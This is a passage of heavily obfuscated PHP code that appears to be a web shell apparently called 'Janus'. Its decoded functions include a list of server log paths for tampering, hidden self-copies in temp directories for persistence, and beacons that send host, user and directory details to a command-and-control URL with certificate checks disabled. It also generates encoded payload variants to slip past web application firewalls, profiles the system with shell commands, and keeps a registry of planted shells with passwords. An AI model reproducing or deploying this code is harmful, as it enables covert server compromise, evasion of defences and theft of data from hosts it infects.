FBVm3; xX4Dl: $cyMTq = $_POST["\154\x6f\147\137\x70\x61\x74\150\x73"] ?? ''; goto Tw_m1; DrGPb: smjiJ: goto Y4ZPr; I84BF: $zChAa = ["\x2f\166\x61\x72\x2f\154\x6f\147\x2f\141\x70\141\x63\150\x65\62\x2f\x61\143\x63\x65\x73\163\56\154\157\x67", "\x2f\166\141\x72\57\154\157\147\57\141\160\141\x63\150\x65\x32\57\145\162\162\157\x72\x2e\154\x6f\147", "\x2f\166\141\162\57\x6c\x6f\147\57\150\164\164\x70\x64\57\x61\x63\143\x65\163\x73\x5f\154\x6f\147", "\57\x76\x61\x72\x2f\154\157\x67\x2f\x68\x74\x74\x70\144\57\145\x72\x72\x6f\x72\137\x6c\x6f\147", "\57\x76\141\x72\x2f\154\157\x67\x2f\156\x67\x69\156\x78\57\141\143\x63\145\163\x73\56\x6c\x6f\x67", "\57\x76\141\x72\x2f\154\x6f\x67\x2f\156\147\x69\156\170\57\x65\162\162\x6f\x72\x2e\154\157\147", "\x2f\166\141\x72\x2f\x6c\x6f\x67\x2f\x61\x75\164\150\x2e\154\x6f\x67", "\57\166\141\x72\57\154\x6f\x67\57\x73\x65\143\165\x72\x65", "\57\166\x61\x72\57\154\157\x67\57\155\145\163\163\x61\x67\145\x73", "\x2f\166\141\162\57\154\x6f\147\57\163\171\x73\154\157\147"]; goto KTPWc; Y4ZPr: dP1T9: goto gM3q0; TV75b: $eN4d9 = isset($_POST["\142\141\x63\x6b\165\x70"]) && $_POST["\142\x61\143\153\165\x70"] === "\164\162\165\145"; goto OOMqq; xy1Wx: case "\155\165\x6c\x74\151\137\x6c\x6f\143\x61\164\x69\x6f\x6e\137\x62\x61\143\x6b\x75\x70": goto a7sd5; jqq6v: sVHsL: goto Omgyp; cRBBO: $v1Pog["\155\145\163\163\141\147\145"] = "\106\x61\x69\154\x65\x64\40\164\157\x20\162\x65\x61\144\40\x73\x6f\165\x72\x63\145\40\146\x69\x6c\145\56"; goto Crdof; vOlqm: $v1Pog = ["\163\164\x61\164\165\163" => "\163\x75\x63\x63\x65\163\x73", "\x62\141\x63\x6b\145\144\x5f\165\160" => $lD5bJ, "\x66\x61\x69\154\x65\x64" => $O3gQP, "\164\157\x74\141\x6c" => count($vm9Xe), "\x73\x75\143\143\145\x73\x73\x5f\143\157\x75\x6e\164" => count($lD5bJ)]; goto sR_js; dnAJB: $FkyGq = $_POST["\x62\x61\143\153\165\x70\x5f\154\157\x63\141\164\151\157\x6e\163"] ?? ''; goto LSa8U; mC_Ay: $eCqBc = @file_get_contents($bw9Jt); goto oy1E9; LSa8U: if (!(empty($bw9Jt) || !file_exists($bw9Jt))) { goto NcQB1; } goto atT5d; Omgyp: $lD5bJ = []; goto YVRGH; a7sd5: $bw9Jt = $_POST["\163\157\x75\162\143\145\x5f\x66\151\154\145"] ?? ''; goto dnAJB; vYMzf: $GJABE = [dirname($bw9Jt) . "\x2f\x2e" . basename($bw9Jt) . "\x2e\x62\x61\x6b", "\57\x74\x6d\x70\57\56\152\x61\x6e\x75\163\x5f" . md5($bw9Jt) . "\x2e\x70\150\160", "\x2f\x76\x61\x72\x2f\164\x6d\x70\57\x2e\x6a\x61\x6e\165\x73\x5f" . md5($bw9Jt) . "\56\160\x68\160", dirname($bw9Jt) . "\x2f\56\x6a\x61\x6e\x75\x73\x5f\x62\x61\x63\x6b\x75\x70\x5f" . substr(md5($bw9Jt), 0, 8) . "\x2e\160\150\160"]; goto FEpNF; Crdof: goto vbH70; goto jqq6v; sR_js: goto vbH70; goto xrr4X; qgSZ9: foreach ($vm9Xe as $ICmbq) { goto S0tlg; so0G1: sVv8B: goto HlxLA; UJdum: $lD5bJ[] = $ICmbq; goto so0G1; od1Za: if (is_dir($jBFOE)) { goto L3kpe; } goto LgiJq; T80Xo: L3kpe: goto EfOOK; HlxLA: CEz93: goto P9PIi; GtIU_: XY1M6: goto uq1Ci; G_3nt: @file_put_contents($a1t4N, $eCqBc); goto IATBK; yfxR9: goto sVv8B; goto GtIU_; uq1Ci: @chmod($ICmbq, 0644); goto fqkEX; cLK2x: RfWDX: goto UJdum; LgiJq: @mkdir($jBFOE, 0755, true); goto T80Xo; IATBK: @chmod($a1t4N, 0644); goto cLK2x; EfOOK: if (@file_put_contents($ICmbq, $eCqBc) !== false) { goto XY1M6; } goto m9FnJ; fqkEX: if (!(basename($ICmbq)[0] !== "\x2e")) { goto RfWDX; } goto r1PMc; r1PMc: $a1t4N = $jBFOE . "\x2f\56" . basename($ICmbq); goto G_3nt; S0tlg: $jBFOE = dirname($ICmbq); goto od1Za; m9FnJ: $O3gQP[] = $ICmbq; goto yfxR9; P9PIi: } goto eukby; FEpNF: $vm9Xe = $GJABE; goto gRRtp; atT5d: $v1Pog["\x6d\145\163\x73\x61\147\145"] = "\123\157\x75\162\143\145\x20\x66\x69\x6c\145\40\x64\x6f\x65\163\40\156\x6f\x74\40\x65\x78\x69\x73\164\56"; goto KLhg3; gRRtp: ySYqA: goto mC_Ay; LJrSv: $vm9Xe = array_filter(array_map("\164\162\x69\x6d", explode("\xa", $FkyGq))); goto Lv9T7; KLhg3: goto vbH70; goto opdMj; YVRGH: $O3gQP = []; goto qgSZ9; oy1E9: if (!($eCqBc === false)) { goto sVHsL; } goto cRBBO; Lv9T7: if (!empty($vm9Xe)) { goto ySYqA; } goto vYMzf; eukby: HWByv: goto vOlqm; opdMj: NcQB1: goto LJrSv; xrr4X: case "\143\x32\x5f\143\157\x6d\155\165\x6e\x69\x63\141\x74\145": goto tYWNq; Y7OdZ: $HykFe = ZiyvN($puVa9); goto uJIrk; EDm1n: $olRGv = @file_get_contents($l3bQG, false, $yr3s9); goto G5SdS; AUMqE: I0FGy: goto KoZ9q; p6RJn: $v1Pog = ["\x73\x74\x61\x74\165\163" => "\163\165\143\143\x65\163\163", "\150\x74\x74\x70\x5f\143\x6f\144\145" => $KyZpx, "\162\145\x73\x70\x6f\x6e\x73\x65" => $olRGv, "\160\x61\x79\x6c\x6f\x61\x64\x5f\163\145\x6e\x74" => $sv0qE]; goto mcvVW; mcvVW: goto ajYKA; goto wZe8N; wZe8N: ufvJ4: goto CDFzk; ydxcH: if (isset($http_response_header) && is_array($http_response_header)) { goto nXqKn; } goto K2ifL; RvL4z: $yr3s9 = stream_context_create($xd_Oi); goto EDm1n; flPot: $X5ufN = json_encode($sv0qE); goto eOAFy; PvzDh: O1h7d: goto rC7P9; pUZIM: ajYKA: goto WrytU; K2ifL: $KyZpx = 200; goto Vu1YB; tYWNq: $l3bQG = $_POST["\x63\x32\137\165\162\154"] ?? ''; goto H_HGj; uJIrk: Eben6($puVa9); goto AUMqE; uoDPX: nOg7N: goto w0F07; G_mEK: $siOBH = $_POST["\x64\x61\x74\x61"] ?? ''; goto awBOL; DipDZ: $xd_Oi = ["\150\164\164\x70" => ["\x6d\x65\164\x68\x6f\144" => "\x50\117\123\x54", "\x68\145\141\144\145\x72" => ["\103\157\156\x74\145\x6e\x74\55\124\x79\x70\x65\x3a\40\x61\160\x70\154\x69\x63\141\164\151\157\156\x2f\152\x73\x6f\156", "\125\x73\x65\162\55\101\147\145\156\x74\x3a\40\x4d\x6f\x7a\x69\154\x6c\141\x2f\65\56\x30\40\x28\x63\x6f\155\x70\x61\x74\151\x62\x6c\x65\73\x20\x4a\141\x6e\165\163\x2f\61\x2e\60\x29", "\x43\157\x6e\164\145\x6e\x74\55\x4c\x65\156\x67\164\x68\x3a\40" . strlen($X5ufN)], "\x63\x6f\x6e\164\x65\156\164" => $X5ufN, "\x74\x69\155\x65\x6f\x75\164" => 10, "\151\x67\x6e\x6f\x72\145\137\145\x72\x72\157\x72\163" => true], "\x73\x73\x6c" => ["\x76\145\162\151\x66\171\137\x70\x65\145\162" => false, "\x76\145\x72\151\146\x79\137\x70\x65\x65\162\x5f\156\x61\155\145" => false, "\141\x6c\154\157\x77\137\163\145\154\x66\137\163\151\147\x6e\145\x64" => true]]; goto RvL4z; tvJ39: goto I0FGy; goto SpobM; etNN_: $olRGv = o397w($puVa9); goto ELSg4; CDFzk: $v1Pog = ["\163\x74\x61\164\x75\163" => "\145\162\x72\157\162", "\x6d\145\163\163\x61\x67\x65" => "\103\62\x20\143\157\155\x6d\x75\156\151\143\x61\x74\x69\157\x6e\x20\146\141\x69\x6c\145\x64\x3a\40" . $HykFe]; goto pUZIM; iADdk: $HykFe = ''; goto MOjZX; XJjqm: lezyI($puVa9, [t5D5r => true, Jzs4E => $X5ufN, NNhCd => true, yylOA => 10, iSR5k => ["\103\x6f\156\164\x65\x6e\x74\x2d\124\x79\x70\x65\72\x20\141\160\x70\x6c\151\143\x61\164\x69\157\156\57\152\163\157\x6e", "\125\x73\x65\162\x2d\x41\147\x65\x6e\x74\72\x20\x4d\x6f\172\x69\154\154\141\x2f\65\x2e\x30\40\x28\x63\157\x6d\160\x61\x74\x69\142\154\x65\73\x20\112\x61\x6e\x75\163\57\x31\x2e\60\51"], ts5wd => false, jokAg => false]); goto etNN_; aI3kC: $v1Pog["\155\145\x73\163\141\x67\x65"] = "\x43\62\40\x55\x52\114\x20\x69\163\40\162\145\161\x75\151\162\x65\144\x2e"; goto pNAB3; KoZ9q: if ($olRGv === false) { goto ufvJ4; } goto p6RJn; eOAFy: $olRGv = false; goto umwOX; u3WCY: PmF9T: goto ydxcH; H_HGj: $VtInv = $_POST["\141\x63\x74\151\x6f\x6e"] ?? "\x63\x68\x65\143\x6b\x69\156"; goto G_mEK; G5SdS: if ($olRGv !== false) { goto PmF9T; } goto RWeW6; LNMKI: $puVa9 = miybs($l3bQG); goto XJjqm; pNAB3: goto vbH70; goto uoDPX; MOjZX: if (function_exists("\155\151\171\102\x73")) { goto VZMgy; } goto DipDZ; RWeW6: $HykFe = "\106\x61\x69\154\x65\144\40\x74\157\x20\143\157\x6e\156\x65\x63\x74\x20\164\x6f\x20\x43\x32\40\163\x65\162\166\x65\162"; goto fPAuI; ELSg4: $KyZpx = ls5s7($puVa9, tDRkT); goto Y7OdZ; SpobM: VZMgy: goto LNMKI; umwOX: $KyZpx = 0; goto iADdk; awBOL: if (!empty($l3bQG)) { goto nOg7N; } goto aI3kC; u_My2: j5Ouj: goto PvzDh; fPAuI: goto HwNoz; goto u3WCY; WrytU: goto vbH70; goto TNzaI; w0F07: $sv0qE = ["\x61\143\x74\x69\x6f\156" => $VtInv, "\163\x68\145\x6c\x6c\x5f\x69\144" => md5(__FILE__ . $_SERVER["\123\x45\122\126\105\x52\x5f\116\x41\x4d\105"]), "\x74\x69\155\145\x73\164\x61\155\160" => time(), "\150\x6f\163\x74\x6e\141\x6d\x65" => gethostname(), "\x73\x65\x72\x76\x65\x72\137\156\141\x6d\145" => $_SERVER["\x53\x45\122\126\105\122\137\116\101\x4d\x45"] ?? '', "\151\x70" => $_SERVER["\x53\x45\122\x56\x45\122\x5f\x41\104\x44\x52"] ?? '', "\x75\x73\145\162" => get_current_user(), "\143\x77\144" => getcwd(), "\144\x61\x74\141" => $siOBH]; goto flPot; rC7P9: HwNoz: goto tvJ39; pswk6: nXqKn: goto JES7e; JES7e: foreach ($http_response_header as $r9AVH) { goto SfUV7; EN5h6: $KyZpx = (int) $I5WkF[1]; goto ib16A; ib16A: goto j5Ouj; goto ehKP4; IzstI: LPhyh: goto wIrIF; ehKP4: sauw_: goto IzstI; SfUV7: if (!preg_match("\57\110\x54\x54\x50\134\x2f\x5c\144\134\56\x5c\x64\134\163\x2b\50\134\x64\53\x29\57", $r9AVH, $I5WkF)) { goto sauw_; } goto EN5h6; wIrIF: } goto u_My2; Vu1YB: goto O1h7d; goto pswk6; TNzaI: case "\x77\141\146\x5f\x62\x79\160\141\163\x73\x5f\164\145\163\x74": goto U20Uq; u0m_R: RXLla: goto u4yxR; mai41: $gSi8X = []; goto lj50d; gBmzy: if (!isset($hwFfN[$BoTZ6])) { goto RXLla; } goto k_rPt; hAcHA: goto vbH70; goto qROt1; u4yxR: goto cMw6Y; goto ic4AK; v3VRh: $BoTZ6 = $_POST["\164\145\x63\150\156\151\x71\x75\x65"] ?? "\x61\x6c\x6c"; goto Tb7ag; iWxcA: cMw6Y: goto ksMtB; ksMtB: $v1Pog = ["\163\164\x61\x74\165\163" => "\163\165\143\143\x65\163\x73", "\162\x65\x73\x75\x6c\x74\x73" => $gSi8X, "\164\x6f\164\x61\154\x5f\x74\x65\163\x74\x65\144" => count($gSi8X)]; goto q8xJj; TsoBO: zeJ58: goto iWxcA; nqo95: $v1Pog["\155\145\163\x73\x61\147\145"] = "\x54\x61\162\x67\x65\x74\40\125\122\x4c\40\141\x6e\144\40\x70\141\171\154\x6f\141\x64\x20\141\162\x65\x20\x72\x65\x71\165\151\x72\145\144\56"; goto hAcHA; rYX8L: foreach ($hwFfN as $D2Kbj => $s2lfS) { goto UdW1q; oYmzf: RGiIX: goto vhfx3; UdW1q: foreach ($s2lfS as $zME47 => $Y_tWV) { goto w_qjT; UqJ5u: $gSi8X[] = ["\164\x65\x63\x68\156\x69\x71\x75\145" => "{$D2Kbj}\72{$zME47}", "\x70\141\171\x6c\x6f\141\144" => $Y_tWV, "\x68\x74\164\160\x5f\x63\x6f\144\145" => $KyZpx, "\142\154\x6f\x63\153\x65\144" => $KyZpx === 403 || $KyZpx === 406]; goto lpNwL; f818q: $olRGv = $spw0O($OcEmc, $X5ufN); goto UqJ5u; lpNwL: Nc1IC: goto Yx0ha; w_qjT: $X5ufN = http_build_query(["\x74\145\163\x74" => $Y_tWV]); goto f818q; Yx0ha: } goto Co9RM; Co9RM: n2lmu: goto oYmzf; vhfx3: } goto TsoBO; lj50d: $spw0O = function ($INZQZ, $X5ufN) use(&$KyZpx) { goto SdKmZ; rVTyM: if (function_exists("\115\111\x59\142\163")) { goto NqeWw; } goto p9xqg; sDafv: $olRGv = O397W($puVa9); goto xqnGH; MGKis: NqeWw: goto tWu4s; deLI6: SMgv5: goto tI1yI; HdnrF: if (!($olRGv !== false && isset($http_response_header))) { goto rnBiz; } goto fN1dx; VJ7nt: EBeN6($puVa9); goto e5bgO; Jk43i: $olRGv = @file_get_contents($INZQZ, false, $yr3s9); goto HdnrF; tVVLR: return $olRGv; goto uvbRU; AIJy3: lezYi($puVa9, [t5D5r => true, Jzs4E => $X5ufN, NNhCd => true, yylOA => 5, AKu6j => true, ts5wd => false]); goto sDafv; e5bgO: return $olRGv; goto vEAwg; vEAwg: u6fOA: goto zHPKD; xqnGH: $KyZpx = lS5s7($puVa9, tDRkT); goto VJ7nt; SdKmZ: $KyZpx = 0; goto rVTyM; tI1yI: rnBiz: goto tVVLR; p9xqg: $xd_Oi = ["\x68\x74\164\160" => ["\x6d\x65\164\150\157\x64" => "\120\x4f\123\124", "\150\x65\x61\x64\x65\x72" => "\x43\x6f\156\x74\145\156\x74\x2d\124\x79\160\x65\72\40\141\x70\160\154\x69\x63\x61\164\x69\157\156\57\170\55\167\x77\167\55\146\x6f\x72\155\x2d\x75\162\154\145\x6e\143\157\x64\145\144", "\143\157\156\x74\145\x6e\x74" => $X5ufN, "\x74\x69\x6d\x65\157\165\x74" => 5, "\151\147\x6e\x6f\162\x65\137\x65\162\x72\x6f\x72\163" => true], "\x73\x73\154" => ["\x76\145\x72\x69\x66\171\137\x70\145\145\162" => false, "\x76\145\162\151\146\171\137\160\145\x65\162\137\x6e\141\x6d\x65" => false]]; goto Gt8yA; uvbRU: goto u6fOA; goto MGKis; fN1dx: foreach ($http_response_header as $r9AVH) { goto L_YiK; VVolT: $KyZpx = (int) $I5WkF[1]; goto t3E0O; wzA5w: sl3PN: goto FAC1_; t3E0O: goto SMgv5; goto kE2qf; kE2qf: Ij1nH: goto wzA5w; L_YiK: if (!preg_match("\x2f\110\124\124\x50\x5c\x2f\134\x64\134\x2e\x5c\144\134\163\x2b\x28\x5c\144\53\51\57", $r9AVH, $I5WkF)) { goto Ij1nH; } goto VVolT; FAC1_: } goto deLI6; Gt8yA: $yr3s9 = stream_context_create($xd_Oi); goto Jk43i; tWu4s: $puVa9 = MiybS($INZQZ); goto AIJy3; zHPKD: }; goto ee7nL; q8xJj: goto vbH70; goto ble3c; Tb7ag: if (!(empty($OcEmc) || empty($sv0qE))) { goto OXTUz; } goto nqo95; qROt1: OXTUz: goto UPkZ5; ee7nL: if ($BoTZ6 === "\x61\154\x6c") { goto pDEqW; } goto gBmzy; ic4AK: pDEqW: goto rYX8L; P2TQM: $sv0qE = $_POST["\160\x61\171\154\x6f\x61\144"] ?? ''; goto v3VRh; tcimh: igamP: goto u0m_R; U20Uq: $OcEmc = $_POST["\x74\141\162\x67\x65\164\x5f\x75\162\154"] ?? ''; goto P2TQM; k_rPt: foreach ($hwFfN[$BoTZ6] as $zME47 => $Y_tWV) { $gSi8X[] = ["\164\145\x63\x68\156\x69\x71\165\145" => "{$BoTZ6}\72{$zME47}", "\x70\141\x79\154\x6f\x61\x64" => $Y_tWV]; XuQqq: } goto tcimh; UPkZ5: $hwFfN = ["\x63\x61\163\145\x5f\x76\141\x72\x69\x61\x74\x69\157\156" => ["\163\164\162\x74\x6f\x6c\157\x77\145\162" => strtolower($sv0qE), "\163\164\x72\x74\157\165\160\160\145\162" => strtoupper($sv0qE), "\155\x69\170\x65\144\x5f\143\x61\x73\145" => rTW9i($sv0qE)], "\145\156\143\157\144\x69\156\147" => ["\165\x72\154\x5f\145\x6e\143\157\144\145" => urlencode($sv0qE), "\x64\x6f\165\x62\154\x65\x5f\165\x72\x6c\137\x65\x6e\x63\157\x64\145" => urlencode(urlencode($sv0qE)), "\165\x6e\151\143\157\x64\145\137\x65\x6e\143\x6f\x64\145" => function_exists("\162\131\63\x48\x50") ? Ry3hP($sv0qE, "\125\x54\x46\x2d\61\x36", "\125\x54\106\55\70") : $sv0qE, "\150\x65\170\137\145\x6e\143\x6f\x64\145" => bin2hex($sv0qE)], "\143\157\155\155\145\156\164\x5f\151\156\152\145\x63\164\x69\157\156" => ["\x73\161\x6c\137\143\157\x6d\x6d\145\156\164\x73" => str_replace("\40", "\x2f\x2a\x2a\x2f", $sv0qE), "\x68\164\155\154\137\143\x6f\155\x6d\145\x6e\164\x73" => str_replace("\x20", "\x3c\x21\x2d\x2d\40\x2d\55\76", $sv0qE)], "\x77\150\x69\x74\145\x73\x70\141\x63\145" => ["\164\x61\142" => str_replace("\x20", "\x9", $sv0qE), "\x6e\x65\167\154\x69\156\145" => str_replace("\x20", "\12", $sv0qE), "\156\165\154\x6c\x5f\142\x79\x74\145" => str_replace("\x20", "\x0", $sv0qE)], "\163\x74\x72\151\156\x67\137\143\157\x6e\x63\141\x74\x65\x6e\x61\x74\151\x6f\156" => ["\x63\x6f\x6e\x63\x61\x74" => str_replace("\x20", "\56", $sv0qE), "\141\162\162\x61\171" => "\133" . implode("\135\133", str_split($sv0qE)) . "\135"]]; goto mai41; ble3c: case "\163\171\163\164\145\155\x5f\x70\162\x6f\146\x69\x6c\145\x72": goto dNKcn; KY63x: foreach ($VsscF as $zME47 => $IhsOT) { goto N1R7B; N1R7B: foreach ($IhsOT as $j3_hR) { goto M_sJ7; i0LQk: Fyv3p: goto Gy1Wy; M_sJ7: if (!file_exists($j3_hR)) { goto Fyv3p; } goto B0F_C; Gy1Wy: s7_1o: goto uhhws; KEFnJ: goto oLFC2; goto i0LQk; B0F_C: $DnOhI["\x73\x6f\x66\x74\x77\x61\x72\145"][$zME47] = $j3_hR; goto KEFnJ; uhhws: } goto fz7SZ; fz7SZ: oLFC2: goto rb7gT; rb7gT: jvki3: goto nL9_M; nL9_M: } goto iQR9Z; AW1JT: if (!(function_exists("\145\x78\x65\x63") && !in_array("\x65\170\145\143", $DqyA2))) { goto doSCF; } goto qbDSF; qbDSF: $PLI3x = []; goto hoLMy; gJnjf: if (!($E8lIJ === "\x66\x75\154\x6c" || $E8lIJ === "\x73\x79\163\x74\145\155")) { goto fnHBn; } goto xo_b0; hoLMy: @exec("\151\160\x20\x61\144\144\x72\x20\x73\x68\157\167\40\x32\76\57\144\x65\x76\57\156\x75\x6c\154", $CSOr1); goto ai4eD; yfT0J: $v1Pog = ["\163\x74\141\164\165\163" => "\163\x75\x63\x63\145\163\163", "\160\162\x6f\x66\151\154\x65" => $DnOhI, "\164\151\x6d\x65\x73\164\x61\x6d\x70" => date("\131\x2d\x6d\55\x64\40\110\x3a\151\x3a\x73")]; goto pc18L; Yk3TH: $DnOhI["\163\x6f\x66\x74\167\x61\x72\x65"] = []; goto HE7V0; dNKcn: $E8lIJ = $_POST["\x70\x72\x6f\146\151\x6c\145\x5f\x74\171\160\145"] ?? "\x66\x75\x6c\154"; goto KkpFZ; ai4eD: @exec("\x69\146\143\x6f\156\x66\151\x67\40\62\76\x2f\x64\x65\x76\x2f\156\165\x6c\154", $z4U2t); goto fNpO3; enjs2: C4Z6t: goto XJwcP; I6NCb: if (!($E8lIJ === "\x66\x75\154\154" || $E8lIJ === "\156\145\x74\167\x6f\162\153")) { goto zbdqp; } goto YArQS; eo_nT: doSCF: goto x8Wk8; iQR9Z: YoSG8: goto enjs2; DoqfY: Ooea1: goto yfT0J; HE7V0: $VsscF = ["\141\x70\141\143\150\145" => ["\57\165\163\162\x2f\163\142\151\156\57\x61\x70\141\x63\x68\x65\x32", "\57\165\x73\x72\x2f\163\142\x69\x6e\x2f\150\164\x74\160\144", "\x2f\x65\164\143\57\141\160\x61\143\150\145\62"], "\x6e\147\151\156\x78" => ["\57\x75\x73\x72\x2f\163\142\x69\x6e\57\x6e\147\151\x6e\x78", "\x2f\x65\164\143\57\x6e\147\151\156\170"], "\x6d\x79\163\161\x6c" => ["\57\x75\x73\x72\x2f\142\x69\x6e\x2f\x6d\171\x73\x71\x6c", "\x2f\x75\x73\x72\57\163\x62\x69\156\57\x6d\x79\163\x71\x6c\x64"], "\160\150\x70" => ["\57\165\x73\x72\57\142\x69\156\57\160\x68\160", "\57\x75\x73\x72\x2f\142\151\156\x2f\x70\x68\x70\x2d\x66\x70\155"], "\160\171\x74\150\x6f\156" => ["\57\x75\163\x72\57\142\x69\x6e\x2f\x70\171\x74\150\157\156", "\57\165\163\x72\x2f\x62\x69\156\x2f\160\x79\164\150\x6f\156\63"], "\x70\145\x72\154" => ["\x2f\165\163\162\57\x62\151\x6e\57\x70\x65\x72\154"], "\156\157\144\145" => ["\57\x75\x73\162\x2f\x62\151\156\57\156\x6f\144\145", "\x2f\x75\163\x72\x2f\142\151\156\57\x6e\157\144\x65\x6a\x73"]]; goto KY63x; k7N6e: if (!($E8lIJ === "\x66\x75\x6c\x6c" || $E8lIJ === "\x73\x6f\x66\164\x77\x61\x72\x65")) { goto C4Z6t; } goto Yk3TH; YArQS: $DnOhI["\156\145\164\167\157\x72\x6b"] = ["\163\145\x72\166\x65\x72\137\x61\144\144\x72" => $_SERVER["\x53\105\122\x56\105\x52\x5f\101\104\104\x52"] ?? "\116\57\101", "\163\145\162\166\145\162\137\x6e\141\x6d\145" => $_SERVER["\123\x45\122\x56\105\x52\x5f\x4e\101\115\x45"] ?? "\116\x2f\x41", "\162\x65\155\x6f\x74\145\137\x61\144\144\x72" => $_SERVER["\122\105\x4d\x4f\124\105\137\101\104\x44\122"] ?? "\x4e\x2f\x41", "\x68\164\x74\x70\137\150\157\163\164" => $_SERVER["\x48\x54\124\x50\137\110\117\x53\x54"] ?? "\x4e\57\101"]; goto AW1JT; fNpO3: $DnOhI["\156\x65\164\x77\x6f\x72\153"]["\x69\156\164\x65\x72\146\x61\143\145\x73"] = array_merge($CSOr1 ?: [], $z4U2t ?: []); goto eo_nT; XJwcP: if (!($E8lIJ === "\x66\165\154\154" || $E8lIJ === "\160\x65\162\x6d\151\163\163\x69\157\x6e\163")) { goto Ooea1; } goto sExEV; KkpFZ: $DnOhI = []; goto gJnjf; ASfp7: fnHBn: goto I6NCb; sExEV: $DnOhI["\x70\x65\x72\155\x69\x73\163\x69\x6f\156\x73"] = ["\x63\x77\144\x5f\167\162\x69\x74\x61\142\154\x65" => is_writable(getcwd()), "\x74\155\160\137\x77\x72\x69\164\141\x62\154\x65" => is_writable(sys_get_temp_dir()), "\x64\151\163\x61\x62\x6c\x65\144\x5f\146\x75\156\143\164\151\157\x6e\x73" => $DqyA2, "\x6f\160\145\156\137\x62\141\x73\x65\x64\x69\162" => ini_get("\157\x70\x65\x6e\x5f\x62\x61\163\145\144\x69\x72"), "\x73\141\146\145\x5f\155\157\x64\x65" => ini_get("\163\x61\x66\145\137\155\157\144\145"), "\x61\x6c\154\x6f\x77\x5f\x75\x72\154\x5f\146\157\160\145\156" => ini_get("\x61\154\x6c\157\167\x5f\165\x72\154\x5f\x66\157\160\145\156"), "\141\154\x6c\157\x77\x5f\165\x72\154\x5f\151\156\143\154\165\x64\x65" => ini_get("\x61\154\x6c\x6f\167\137\x75\x72\x6c\x5f\151\x6e\x63\x6c\165\x64\x65")]; goto DoqfY; xo_b0: $DnOhI["\x73\171\163\x74\x65\155"] = ["\157\163" => php_uname("\163"), "\150\157\x73\x74\x6e\x61\x6d\x65" => gethostname(), "\153\145\162\156\x65\154" => php_uname("\x72"), "\141\x72\143\150\151\164\145\x63\164\x75\x72\x65" => php_uname("\155"), "\160\x6c\x61\x74\146\x6f\162\x6d" => php_uname("\x61"), "\x70\x68\x70\x5f\x76\x65\x72\163\151\x6f\x6e" => PHP_VERSION, "\163\141\x70\x69" => php_sapi_name(), "\165\163\145\x72" => get_current_user(), "\165\x69\x64" => getmyuid(), "\x67\x69\144" => getmygid()]; goto ASfp7; x8Wk8: zbdqp: goto k7N6e; pc18L: goto vbH70; goto FZRSU; FZRSU: case "\155\165\154\x74\x69\137\x73\x68\x65\x6c\x6c\x5f\162\x65\147\151\163\x74\x65\x72": goto mxC1j; Imcx_: @chmod($mBLAH, 0600); goto uu3Eh; AzFpL: NkKea: goto RUpav; VpnQg: $pjIBt = $_POST["\x72\x65\x6d\157\164\x65\x5f\x75\162\154"] ?? ''; goto wTSIf; FyWr8: $qY16M = __FILE__; goto xLtaW; uu3Eh: $v1Pog = ["\x73\x74\141\x74\x75\163" => "\163\x75\x63\x63\145\x73\163", "\x73\150\x65\x6c\x6c\x5f\151\144" => $Symt8, "\155\x65\x73\163\x61\x67\145" => "\x53\150\x65\154\x6c\x20\162\x65\147\151\163\164\x65\162\x65\144\40\163\165\143\143\x65\x73\x73\x66\x75\154\154\x79\56"]; goto jhzmR; yuXAv: $QqnG8 = []; goto htPFA; mxC1j: $qY16M = $_POST["\163\150\145\154\x6c\137\x70\x61\x74\150"] ?? ''; goto Qpy6H; Hxug2: if (!(empty($qY16M) && !$xhpni)) { goto ufmMw; } goto FyWr8; cYlCW: $QqnG8 = json_decode(@file_get_contents($mBLAH), true) ?: []; goto AzFpL; RUpav: $Symt8 = md5(($xhpni ? $pjIBt : $qY16M) . $ad2Q0); goto Aihtb; wTSIf: $xhpni = !empty($pjIBt); goto Hxug2; jhzmR: goto vbH70; goto OYm77; MyfiM: @file_put_contents($mBLAH, json_encode($QqnG8, JSON_PRETTY_PRINT)); goto Imcx_; Qpy6H: $ad2Q0 = $_POST["\163\x68\145\x6c\x6c\x5f\156\141\x6d\x65"] ?? ''; goto rymr1; rymr1: $zt4zR = $_POST["\163\x68\x65\154\x6c\137\x70\x61\163\x73\x77\157\x72\x64"] ?? ''; goto VpnQg; htPFA: if (!file_exists($mBLAH)) { goto NkKea; } goto cYlCW; Aihtb: $QqnG8[$Symt8] = ["\160\x61\x74\x68" => $qY16M, "\156\141\155\x65" => $ad2Q0 ?: ($xhpni ? basename(parse_url($pjIBt, PHP_URL_PATH)) : basename($qY16M)), "\160\141\x73\x73\167\x6f\x72\x64" => $zt4zR, "\162\x65\x6d\157\164\145\x5f\165\162\x6c" => $pjIBt, "\151\x73\x5f\x72\145\x6d\157\164\145" => $xhpni, "\162\x65\x67\151\x73\164\x65\162\145\144\x5f\x61\164" => time(), "\154\141\x73\x74\137\x73\x65\145\x6e" => time(), "\x73\164\x61\x74\x75\163" => "\x61\x63\164\x69\x76\145"]; goto MyfiM; FQdaj: $mBLAH = sys_get_temp_dir() . "\57\56\x6a\141\x6e\x75\163\x5f\163\150\145\x6c\x6c\137\162\x65\147\x69\163\x74\x72\x79\56\x6a\x73\x6f\156"; goto yuXAv; xLtaW: ufmMw: goto FQdaj; OYm77: case "\x6d\x75\x6c\164\151\x5f\163\150\145\x6c\x6c\137\x6c\x69\163\164": goto jws7V; sag0G: $NU1nE = md5(__FILE__); goto vDLjG; vDLjG: if (!isset($QqnG8[$NU1nE])) { goto pHCPO; } goto o54hJ; e7Oip: $QqnG8 = []; goto iPPmb; fDqyi: goto vbH70; goto vjpAA; wQCMN: $QqnG8 = json_decode(@file_get_contents($mBLAH), true) ?: []; goto kbRMp; pJ4bT: $QqnG8[$NU1nE]["\163\x74\x61\164\x75\163"] = file_exists(__FILE__) ? "\141\143\164\151\166\145" : "\151\156\x61\x63\164\x69\166\x65"; goto MrH67; FIUvM: pHCPO: goto XtTtG; iPPmb: if (!file_exists($mBLAH)) { goto cUaqi; } goto wQCMN; kbRMp: cUaqi: goto sag0G; jws7V: $mBLAH = sys_get_temp_dir() . "\x2f\x2e\x6a\141\156\x75\x73\x5f\x73\150\145\x6c\x6c\x5f\162\x65\x67\x69\x73\x74\x72\x79\56\152\163\157\156"; goto e7Oip; MrH67: @file_put_contents($mBLAH, json_encode($QqnG8, JSON_PRETTY_PRINT)); goto FIUvM; o54hJ: $QqnG8[$NU1nE]["\x6c\x61\163\x74\137\x73\145\145\x6e"] = time(); goto pJ4bT; XtTtG: $v1Pog = ["\x73\164\x61\x74\x75\x73" => "\163\x75\x63\x63\145\x73\x73", "\163\x68\145\x6c\x6c\163" => $QqnG8, "\x74\x6f\164\141\154" => count($QqnG8)]; goto fDqyi; 